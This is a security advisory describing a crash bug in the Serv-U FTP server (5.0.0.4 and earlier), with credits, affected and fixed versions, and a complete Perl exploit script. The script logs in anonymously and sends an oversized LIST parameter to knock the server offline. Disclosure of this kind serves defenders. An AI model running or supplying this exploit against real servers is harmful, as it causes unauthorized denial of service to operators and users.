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| Serv-U is a "powerful, easy-to-use, award-winning FTP server" created by Rob Beckers. A vulnerability in the product allows a remote user to cause the server to fail by sending a malformed LIST command to the server. |
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Credit:
SecurITeam would like to thank STORM for finding this vulnerability.
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Vulnerable Systems:
* Serv-U version 5.0.0.4 and prior
Immune Systems:
* Serv-U 5.0.0.6 and newer
A user issuing a long parameter (around 134 bytes) as a value for a LIST command (using the -l: parameter for that LIST command), can cause the server to try and read a value that is outside the memory location of the Serv-U's memory, this will cause an exception to be triggered (an unhandled exception), which in turn causes the program to crash.
Exploit:
#!/usr/bin/perl
use IO::Socket;
$host = "192.168.1.243";
$remote = IO::Socket::INET->new ( Proto => "tcp",
PeerAddr => $host,
PeerPort => "2116",
);
unless ($remote) { die "cannot connect to ftp daemon on $host" }
print "connected\n";
while (<$remote>)
{
print $_;
if (/220 /)
{
last;
}
}
$remote->autoflush(1);
my $ftp = "USER anonymous\r\n";
print $remote $ftp;
print $ftp;
sleep(1);
while (<$remote>)
{
print $_;
if (/331 /)
{
last;
}
}
$ftp = join("", "PASS ", "a\@b.com", "\r\n");
print $remote $ftp;
print $ftp;
sleep(1);
while (<$remote>)
{
print $_;
if (/230 /)
{
last;
}
}
my $ftp = join ("", "LIST -l:", "A"x(134), "\r\n");
print $remote $ftp;
print $ftp;
sleep(1);
while (<$remote>)
{
print $_;
if (/250 Done/)
{
last;
}
}
close $remote;
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